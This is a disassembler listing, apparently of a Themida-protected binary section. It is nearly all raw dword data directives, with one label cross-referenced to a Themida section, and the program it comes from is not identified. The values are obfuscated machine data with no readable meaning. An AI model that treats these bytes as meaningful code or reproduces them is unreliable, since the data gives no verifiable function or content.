		dd 6A0605h, 8BC3D780h, 0E409D99Dh, 2426807h, 0F98BD9CBh
		dd 0BD240481h, 8B265401h, 0E415A59Dh, 9995FF07h, 6A07E42Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0BBEAC351h, 29A5CA8Ch, 2DE98D89h,	858907E4h
		dd 7E7F8A5h, 11E9h, 71578E00h, 82443E9Ah, 0BB58FDCCh, 1D6B6AAAh
		dd 860FD036h, 1Ah, 0CE860h, 29E00000h, 0C950869Ah, 295110AFh
		dd 8B58F499h, 0E40B01BDh, 9E96107h, 6A000002h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0ED05C350h, 116D8F10h, 858BFE8Ah, 7E7F89Dh, 0A1DB589h
		dd 0C707E4h, 18h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0C1C35242h, 89677739h, 0E404E595h, 0CE907h, 0BC320000h
		dd 104C3994h, 260B08F4h, 0B58B0E8Dh, 7E7F8A1h, 99858BF8h
		dd 6A07E400h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0F73CC355h, 0E205EEE1h, 0DD9D891Eh
		dd 8907E403h, 0E41A2D85h, 6A068907h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 7225C352h
		dd 9B38189h, 0E42165B5h, 19880F07h, 0E9000000h,	14h, 0A2CD83E3h
		dd 8087022Fh, 9290B1D2h, 38FFA8DAh, 0F969A9BEh,	651858Bh
		dd 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 15F750C3h, 0A8BC46E7h, 66044689h,	5050F88Bh
		dd 8F0F6052h, 0
		dd 0AE8h, 0AFACB900h, 0B4D3CB5Dh, 58DAB56Ah, 66310F61h
		dd 5A5C60BFh, 24348958h, 0FFFFB70Fh, 0E7F89DB5h, 4E8F507h
		dd 0FF000000h, 50001F03h, 0EE852h, 6AE20000h, 71941453h
		dd 259E70B9h, 0EFAAAEh,	0F5B39B3h, 0F88B6631h, 0F50585Ah
		dd 168Bh, 10E800h, 0A0370000h, 7341B011h, 3D77DF21h, 7182F3D6h
		dd 8B5F47DFh, 0B3042444h, 8B008B1Fh, 244489FBh,	8B665804h
		dd 0A5858DF8h, 6A07E7F8h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 9AF1C350h, 5090F88Bh
		dd 0DF79BF52h, 310F0222h, 1200BB66h, 0BF50585Ah, 6FA2B781h
		dd 53006A90h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 86183391h, 0E75F6FE6h, 95FF6EF0h, 7E42D99h
		dd 859D3361h, 0C707E422h, 0E422B985h, 307h, 0FED78000h
		dd 0F8A5BD83h, 0F0007E7h, 1784h, 0C19D8B00h, 0E907E401h
		dd 27h,	279BD89h, 9D8B07E4h, 7E432E9h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 66C08B00h, 831163BBh
		dd 0E422B9BDh, 850F0307h, 40Ah,	356DBD29h, 0BD8307E4h
		dd 7E7F8A5h, 0F7840F00h, 6A000003h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0FF03C350h
		dd 8E88A82Dh, 0FF92654Bh, 0E7F8A5B5h, 4D95FF07h, 8B07E404h
		dd 0E415C59Dh, 99B58B07h, 6A07E7F8h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0FCCC351h
		dd 106C7B8h, 6A000100h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0B83FC352h,	870F5030h
		dd 5, 0AE57C9BBh, 24348922h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 4AC35040h, 5958989h, 0FF07E409h
		dd 0E7F8A5B5h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 64595076h, 60FAB70Fh
		dd 211B589h, 896007E4h,	0E42EC585h, 14E907h, 36CD0000h
		dd 0A8FF9800h, 50EBE16Ah, 53937064h, 0F0D8D3EFh, 61615BA9h
		dd 2A0995FFh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 66A562C3h, 15E5DF81h, 0F899B58Bh
		dd 6A07E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 5E9B3C3h,	0B8000000h, 7D24D3FBh, 3165858Bh
		dd 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 719F7AC3h, 0DB4C2A52h, 8BFC33BAh,	0C48689DFh
		dd 0F000000h, 181h, 958BF800h, 7E41B71h, 0EE860h, 0CCA30000h
		dd 7AC67C8Ch, 65442799h, 5772B3F5h, 0F158D29h, 0F5807E4h
		dd 8361D9BFh, 6A04C2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0C50BBDC3h, 3205089h, 0E42A399Dh
		dd 0D4858D07h, 6A07E80Ch, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0B7DBC355h,	0B886895Fh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 66F9C352h, 6ADF8Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 8DC35545h, 7B63FDF9h
		dd 0E936BFEEh, 5, 0E8B4195Bh, 0A5B5FF21h, 6A07E7F8h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 398C357h, 0BB96AD83h, 0AE8F578h, 0CB000000h,	3A205C6Bh
		dd 223CA15Ch, 95FF5B79h, 7E431ADh, 1EBBF381h, 66962718h
		dd 50B937BFh, 0BE8h, 0F858E400h, 5B06058Ah, 8AD98C17h
		dd 6A965Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0C9F5DBC3h, 0FF570E5Ah, 0E7F8A5B5h, 0E5BD8907h
		dd 0FF07E423h, 0E41B1195h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 666B4CDAh
		dd 8344C8BBh, 0E40DF9BDh, 840F0007h, 28h, 1871BD89h, 569607E4h
		dd 505F9EB3h, 0F810Fh, 0AE90000h, 3E000000h, 0B015168Dh
		dd 682C6585h, 0BF669696h, 9B75FA3h, 0F8A5B5FFh,	6A07E7h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0E8BB26C3h, 7D95FFEEh, 0FF07E402h, 0E7F8A5B5h, 68C0F07h
		dd 89000000h, 0E4068D85h, 7195FF07h, 0BF07E409h, 3C264CFCh
		dd 0BD835F51h, 7E40A21h, 4C840F02h, 33000000h, 0E41B659Dh
		dd 0B5858B07h, 8B07E41Eh, 0E42C319Dh, 0C607h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 97C35242h, 0D0E0583Ch
		dd 12E9h, 52843D00h, 0CE2F7EDFh, 78F2E5D8h, 608BC312h
		dd 0C790737Ah, 0E4267185h, 7, 8E900h, 0D2B90000h, 0FE170D90h
		dd 2FE998E5h, 66FFFFF4h, 0CFB2D781h, 6AC18Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 708B33C3h
		dd 1DFFB350h, 0FE946E2h, 9D000000h, 0DECE9DB0h,	0CD064FD2h
		dd 47105587h, 858D7819h, 7E40D85h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 96C35242h, 0B443945Eh, 8E0Fh
		dd 0BF500000h, 544B41E7h, 60240489h, 0E9FEB70Fh, 12h, 4BF87FBFh
		dd 2495CB1Fh, 95DA318Fh, 36B301Dh, 6A616D24h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 2DEBFC5Eh, 0BB26A59Ch, 3A0EB515h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 6FD6C1C3h
		dd 53E3D4Fh, 0FB71858Dh, 8B0F07E8h, 2, 0C083FE8Ah, 8CC38005h
		dd 50F98B90h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 121E85BBh, 0EE9h,	43D4AD00h, 6677E274h
		dd 0EB4F0DD8h, 6AC77996h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 1BFD2161h
		dd 0DA8B661Fh, 6A006Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 1CD89FC3h, 0FB70B37h, 86h, 0A19D8B00h
		dd 0FF07E418h, 0E4247195h, 0D1958907h, 8D07E40Ah, 0E7D64B8Dh
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0E60B48A3h, 7E8h
		db 0
byte_5D1EDD	db 0ACh, 0FEh, 0ACh	; DATA XREF: Themida_:00582F4Co
		dd 6D16D5AAh, 6870Fh, 9D8B0000h, 7E425D5h, 6600BB5Fh, 0D1FF36D6h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 68C35545h
		dd 834EAFC7h, 0E42015BDh, 850F0107h, 0D8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0AEC35141h, 72BC90BBh
		dd 30A108DAh, 0AC1BD89h, 26A07E4h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0A0C35242h,	8892B95h, 0E9075686h
		dd 13h,	0EEC9817Fh, 4714745Dh, 9730996Dh, 6E28F558h, 3AC05D8h
		dd 0E424C1BDh, 52509007h, 28F0Fh, 61600000h, 0BF66310Fh
		dd 585AF6E4h, 4880F50h,	66000000h, 90C81EBBh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 48C35646h, 2998589h
		dd 95FF07E4h, 7E431ADh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0DEC35141h, 8631A36Ch, 0B989DAFDh, 0DC4E9h
		dd 0E800h, 815D0000h, 0E8FB7BEDh, 8B66F907h, 0E1858DDEh
		dd 6A07E7C6h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0DF4FC353h, 0CB52D855h, 419B31FEh
		dd 22719529h, 509007E4h, 8990F88Bh, 0E4186985h,	0D9BD8B07h
		dd 6407E42Eh, 35FFh, 0BABF0000h, 64208852h, 2589h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 214B6AC3h, 85899047h, 7E420F1h, 20B985FFh, 0FF6A07E4h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 44C35040h
		dd 0BA7F7122h, 1000BF66h, 5CCCC781h, 0B5FF0E84h, 7E402D5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 39C35646h
		dd 0A2228744h, 26859D8Bh, 8A0F07E4h, 3,	0FF95CF80h, 0E4304D95h
		dd 153E907h, 95890000h,	7E41695h, 89958B60h, 8907E409h
		dd 0E408A1BDh, 0B06107h, 0DE05DB81h, 70E61D13h,	71E4FB8Bh
		dd 0CE9h, 3671F00h, 0D65B1740h,	3C4ED891h, 0F613C21h, 11883h
		dd 0B1952900h, 8B07E422h, 0C8B60FF9h, 2669BD8Bh, 6BA07E4h
		dd 57000000h, 0A752C381h, 8B5B1847h, 6E8C1h, 0EA570000h
		dd 5FC80E45h, 2AB59D0Bh, 0F5B07E4h, 384h, 0D8BF0F00h, 8104E8C1h
		dd 0ADFCD7C3h, 0E2F7667Eh, 2BFE8B66h, 0D99D89C8h, 0B307E420h
		dd 8AD18BE1h, 9E8DEh, 87280000h, 0FAAEB506h, 0F439360h
		dd 686h, 95B58900h, 5B07E409h, 0A0E9h, 0CE86000h, 0A3000000h
		dd 0E93BDCE2h, 0F9EA2305h, 66F2861Ch, 615AF88Bh, 8858Bh
		dd 31600000h, 0E42B4DB5h, 0A9852907h, 6107E423h, 0F507C083h
		dd 0E900C083h, 0Dh, 275FAF1Eh, 0F41CA7BAh, 2FC4FFA4h, 0FD03BB4h
		dd 0F83h, 998D0100h, 0E907E422h, 49h, 0F4CABF66h, 0FFFF8D8Bh
		dd 890FFFFFh, 6, 0F959D8Bh, 0E18307E4h,	2A840F01h, 0BB000000h
		dd 0CBDEA28h, 0FFFFA583h, 0F9FEFFFFh, 89589h, 0BD330000h
		dd 7E4334Dh, 68C0Fh, 0BD2B0000h, 7E4087Dh, 0E9h, 5BB58D00h
		dd 6A07E87Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0F9BBC357h, 0F98B5763h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0D3BAFBC3h, 0FFDA8BF5h, 0E40E4195h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 15A49A17h, 0DCB996F6h, 6A00000Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 5685C357h
		dd 0E18314C4h, 4FCF81FCh, 0FC49F9DAh, 2B5FF551h, 53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 5C51CD80h, 0B5896006h, 7E41385h, 2D958Bh, 0BA6107E4h
		dd 0
		dd 12919589h, 33AD07E4h, 3E8D1C2h, 4E983D0h, 14E9F475h
		dd 7B000000h, 1F84685Ah, 9EF21B4Ah, 58C49AB7h, 0D3088C58h
		dd 0FDFDAC3h, 880DD8B7h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 71B9C353h
		dd 762CAB24h, 0F4CED89h, 958BF8BFh, 7E41B71h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 14C35747h, 8A0F3795h
		dd 6, 31E9BD8Bh, 9D8907E4h, 7E40199h, 8BDFBF0Fh, 0E42DA18Dh
		dd 11E907h, 42B00000h, 8CDCED19h, 76B29BECh, 2F64DDC7h
		dd 503AC5D4h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 14E858h, 0D70C0000h,	308D88BDh, 6382657Bh, 29E5C9D6h
		dd 0EC6693D5h, 0B9BB5F95h, 5B1E5631h, 0CEE38166h, 11BD837Eh
		dd 7E406h, 5B840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 655F5C3h, 3DEDE02Bh
		dd 0E9DF5284h, 6, 25170AFBh, 0B80ADDh, 0FC000000h, 4FE78D8Dh
		dd 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0FF71B5C3h, 0B9BD83E1h, 7E422h, 417840Fh
		dd 8B660000h, 0B9BD83DAh, 107E422h, 422840Fh, 95890000h
		dd 7E40D81h, 22B9BD83h,	0F0307E4h, 3D986h, 14E900h, 726C0000h
		dd 0F04F6C2Ah, 0F6398E86h, 7F23C802h, 6A34B7Ch,	0E8607CD9h
		dd 0Fh,	241A043Fh, 5CB8DB5Ah, 3A63863Fh, 0B3FB4DBDh, 8C665B17h
		dd 51006AD9h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0F0E02B4h, 3D43EB4Ah, 0EE9h, 5873A200h
		dd 0FA8EC9E1h, 2FFBA440h, 8071E3C5h, 0BD3304E1h, 7E41849h
		dd 840FC90Ah, 139h, 0F9853360h,	6107E425h, 651858Bh, 6A07E4h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 50CC87C3h, 1CC41E5Fh, 85338863h, 7E42029h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 4BC35646h, 0C781DA8Bh
		dd 4AF3098Dh, 24048950h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 18h, 37C35040h, 61AB0701h,	6ADF8B66h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 858913DBh, 7E42AADh,	22D1BD8Bh, 0D06807E4h, 66060587h
		dd 810F1FBFh, 842F2434h, 8D01061Ah, 7E42ED9h, 2D9995FFh
		dd 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0BA0A64C3h, 8589D72Ch, 7E7F8A5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 31C35242h, 5E8h
		dd 0D791AF00h, 13E9F2A8h, 63000000h, 1B611CE2h,	3309D6A3h
		dd 8E637AF0h, 4685336Ch, 0E95B21E2h, 1B0h, 7B10B0BBh, 9D858B30h
		dd 6A07E7F8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 2B1FC355h, 0BD0B004Bh,	7E426B9h
		dd 1800C7h, 10E90000h, 35000000h, 0A915393Fh, 53158BB6h
		dd 0D01BE089h, 8B8372A7h, 0E7F8A1B5h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 7852BF6Ah, 72FADF2h,	0F171BF39h, 858B2EC1h, 7E40099h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C4C35040h
		dd 89553F41h, 3D9D8B06h, 8B07E406h, 0E4065185h,	53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8928EE1Ah, 0E418D195h, 7337BB07h, 468910DAh,	50006A04h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 499F02D7h, 0C745FD53h, 66508962h, 891D7BBBh,	6A2434h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 800F08C3h, 6, 850Fh,	0B5FF0000h, 7E7F89Dh, 918589h
		dd 0B96807E4h, 814C7A03h, 462434h, 6A4C65h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0C32A93C3h
		dd 0F9900823h, 0F8A5858Dh, 8B9007E7h, 899050F9h, 0E405F985h
		dd 9995FF07h, 6A07E42Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 5EFC350h, 60E27FE9h
		dd 0BE9h, 4C4C3500h, 0B9D2D8D5h, 4E6AD53h, 50006A61h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 0E44508DEh, 159D8BC1h, 0C707E42Eh, 0E422B985h, 307h
		dd 31BD8900h, 8307E40Bh, 0E7F8A5BDh, 840F0007h,	36h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 35C35040h, 0C154BD0Bh
		dd 0B33B2DF8h, 0F99D8BAAh, 0E907E417h, 21h, 16A1BD8Bh
		dd 305007E4h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0DAE12B8Dh, 5FBBCB65h, 2B603B53h
		dd 0E429F58Dh, 6A6107h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0CE4870C3h, 83B2B363h, 0E422B9BDh
		dd 850F0307h, 46Fh, 7E9h, 79599F00h, 91FAF9B0h,	0F8A5BD83h
		dd 0F0007E7h, 45684h, 5E900h, 2D0E0000h, 81E64641h, 9ECFFAEBh
		dd 0A5B5FF53h, 6A07E7F8h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0A6BFC353h,	819D337Fh
		dd 0FF07E431h, 0E4044D95h, 0A9852907h, 8B07E418h, 0E7F899B5h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0D0883A64h, 0A3D108EAh, 0C7E9B384h, 1000106h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 99DC483Eh, 8BD76E61h, 0E412B5BDh, 0B6605007h
		dd 860F6081h, 0
		dd 7E9h, 5FDA4300h, 6E2F1E38h, 34896161h, 0A5850924h, 0FF07E427h
		dd 0E7F8A5B5h, 0CF816607h, 0CF81B839h, 3005777Eh, 2A0995FFh
		dd 858907E4h, 7E41519h,	0F899B58Bh, 6A07E7h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0FF97BC3h
		dd 681h, 0A19D8B00h, 8B07E401h,	0E4316585h, 0BD8B5007h
		dd 7E40505h, 0C486895Fh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0C4FBC353h
		dd 9D74A41Bh, 1B71958Bh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 9D8BE3C3h, 7E406E9h
		dd 6A04C283h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 977DC357h, 872E79BFh, 0B58962FCh
		dd 7E40A1Dh, 60205089h,	79B96650h, 0DE85B2Ah, 0A9000000h
		dd 191B8763h, 6E2C83F4h, 76BCF434h, 0FE8h, 8BCA600h, 5A1F5463h
		dd 0D8560184h, 197F269Dh, 8D615A5Ah, 0E80CD485h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 1C9FAFDEh, 0F780AC8Ch, 81BD8BB1h, 8907E403h,	0B886h
		dd 0A5BD0300h, 6A07E400h, 0FF89B700h, 0E7F8A5B5h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 7C53B266h, 0F2F978DFh, 31AD95FFh, 6A07E4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0C84ADAC3h
		dd 180D43FBh, 0EF804010h, 5E8963Ch, 76000000h, 99283625h
		dd 2CA0BB66h, 6651505Bh, 965BFE8Bh, 2D1BD23h, 0B5FF07E4h
		dd 7E7F8A5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0BEC35646h, 0E98A8435h,	0DF25C916h, 5E9h, 0B3295B00h
		dd 95FFF2E6h, 7E41B11h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0F4C35343h, 1AEA0A34h, 0BD83FD8Ah, 7E40DF9h
		dd 5A840F00h, 0E9000000h, 0Eh, 9ABE0BE0h, 23972F5h, 20FED821h
		dd 0E850708Ch, 12h, 0DDFC58A8h,	44656D9Bh, 5403DB23h, 42A3677Fh
		dd 0FD8A78DAh, 2434895Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0F2C35747h, 6DBD89A4h, 8B07E42Dh, 0E40595BDh
		dd 0A5B5FF07h, 5707E7F8h, 9258589h, 0FF5F07E4h,	0E4027D95h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 50A035F2h, 23898589h, 0FF5F07E4h, 0E7F8A5B5h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0B32EADCBh, 0AC66D37Dh, 1FDBD0Bh, 9D8B07E4h
		dd 7E432A9h, 97195FFh, 6A07E4h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 6D289AC3h, 0C09EA5C4h
		dd 0F5256AAh, 8Bh, 0F5F5F00h, 82h, 21BD8300h, 207E40Ah
		dd 51840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0D9B34AC3h, 0F3EBDAE7h, 8BB7F581h
		dd 0E41EB585h, 859D3307h, 0C607E422h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0C7D3FFC3h, 0E4267185h, 7, 358D0900h, 0E907E40Bh, 0FFFFF2F2h
		dd 1B758529h, 0C18B07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 7DC35747h, 16E94Dh, 6050000h,	606Bh
		dd 4 dup(0)
		dd 52BE9h, 0B6D8B000h, 13330C22h, 738D697Fh, 0D6EAC9DFh
		dd 35512C42h, 2922C8A1h, 889E324Eh, 0E6FC90AEh,	485EF208h
		dd 0CBF536Bh, 0A918DF5Ch, 71B613ABh, 617956E2h,	64805B29h
		dd 0D350B214h, 1442A02Ch, 21D641AAh, 0AD1442A0h, 0FA103244h
		dd 0EA910E1Dh, 681442A0h, 0A06EA6FFh, 0A573ABC3h, 1074ACCCh
		dd 0BCDAB452h, 3AD7E984h, 0D4B14F0Ah, 0B390AABCh, 13F1079Bh
		dd 9FD7EBCAh, 117AB04h,	7D50D23h, 20D70F2Dh, 44221D49h
		dd 0A7849A2Eh, 0D0AA578Fh, 0CD1442A0h, 0D7285410h, 0E05C11h
		dd 6Fh,	61795629h, 0A0817C29h, 0E3A01442h, 1204FBA3h, 1D1E05Ch
		dd 0FA000000h, 0D5D7D56h, 437B916Fh, 477F9975h,	7B4153ACh
		dd 64B4D4ADh, 0A0FE8502h, 0F35C1442h, 6E4D1BE1h, 906C0A5Ah
		dd 0BCE346Fh, 30899E73h, 77F4581Eh, 577750CFh, 6D4BE9C3h
		dd 0F72F4724h, 0D7F1035Ch, 0F492E2FAh, 0C9EBFD19h, 80A87DEFh
		dd 0DA5D79Bh, 528AA681h, 92D0A5B7h, 976D020h, 62B2FDA0h
		dd 42FA1EE5h, 4153BC14h, 20FD4C27h, 6BBA7001h, 6AC3B5EDh
		dd 0EE3E9732h, 0F812EE8Ch, 0C5BA25C0h, 911442A1h, 0BE501628h
		dd 867DFA5Ch, 541442A2h, 0A2FB80EBh, 0EE571442h, 817E6C8Eh
		dd 0FE10D50Eh, 0DEB80BE4h, 0DEBA88C0h, 0DA126BC4h, 0AC93D39Ch
		dd 0BA41BED1h, 181442EAh, 5864FAFh, 7E7E441Dh, 5B37D525h
		dd 5C6E0941h, 2F47243Ah, 0C1A66DDFh, 54B1379h, 835F2DF3h
		dd 86973169h, 51919EDEh, 0A947E05Bh, 87A17DD0h,	4B28F62Eh
		dd 29C8DA33h, 8Ch, 1BF49252h, 0F4CFE9FBh, 700EA0D8h, 7C038097h
		dd 0DA1442A0h, 12E01871h, 0B3C51E34h, 6BA3BD99h, 63DA8A07h
		dd 0AA1C6C88h, 17E95C9Ch, 0BFDBB6D6h, 0E200DA66h, 0DBFD0FAAh
		dd 96CEEAC5h, 9DD5E9C8h, 7B2F203h, 3E768A69h, 79B691A3h
		dd 7EE05C0Fh, 71h, 5F7B56A7h, 327B5927h, 2973556h, 380A44FAh
		dd 0B30CA7DFh, 6F179A7Bh, 9AB08E2Ch, 0AC53D062h, 2A1442DEh
		dd 6D0868C1h, 0BEFA765Eh, 0DFBAD4E6h, 6199B590h, 8D96DC6h
		dd 0CCB33092h, 8A1442A0h, 1CF50F21h, 593AACFCh,	716EC66Eh
		dd 7522E8FAh, 14421F8Bh, 0EE82F0Eh, 915F97F0h, 0AC639BB5h
		dd 0DFE191D5h, 0C53A6222h, 12E05B52h, 1, 607A563Bh, 657D5A28h
		dd 0E79F762Dh, 0EE829C78h, 9EEEC0CFh, 0A691EB21h, 840A913h
		dd 0F5455D3Ah, 18F593h,	3DC22DC8h, 9913A692h, 0E6FC1E30h
		dd 27B9F109h, 1399B0B5h, 8D9FF179h, 0A6FEE994h,	0EC981B13h
		dd 16360FADh, 0F50DEA04h, 236E4B61h, 85D52E46h,	0E1F309E7h
		dd 58704D1Bh, 6D19E220h, 0ADFD15F2h, 0D720683Bh, 8799B7EBh
		dd 31718E65h, 66D877h, 8F000001h, 1C6C424Dh, 2E81A27Eh
		dd 8E982936h, 0A17F91EAh, 0A6D57A24h, 5FAF1813h, 29FB80FDh
		dd 0EE5713A6h, 6B4816DCh, 0CCA9BF53h, 4CEA7CB4h, 8520586Eh
		dd 647C5973h, 6125EE2Ch, 750921FEh, 7788619Eh, 58D537D8h
		dd 13A625A3h, 15B4C62Fh, 41h, 6A444D3Eh, 5F069D1Ah, 0E3556BBDh
		dd 0D8495C8Ah, 79586AA3h, 542BD810h, 5694426Ah,	6A4D78Fh
		dd 0DBFE102Ah, 46A8F8B6h, 0A27FCCA8h, 5EB7528Ah, 80798B26h
		dd 0EBBD951Bh, 6C3ACE37h, 6Fh, 6C424DFBh, 0B9F59F1Ch, 0FE9C13A6h
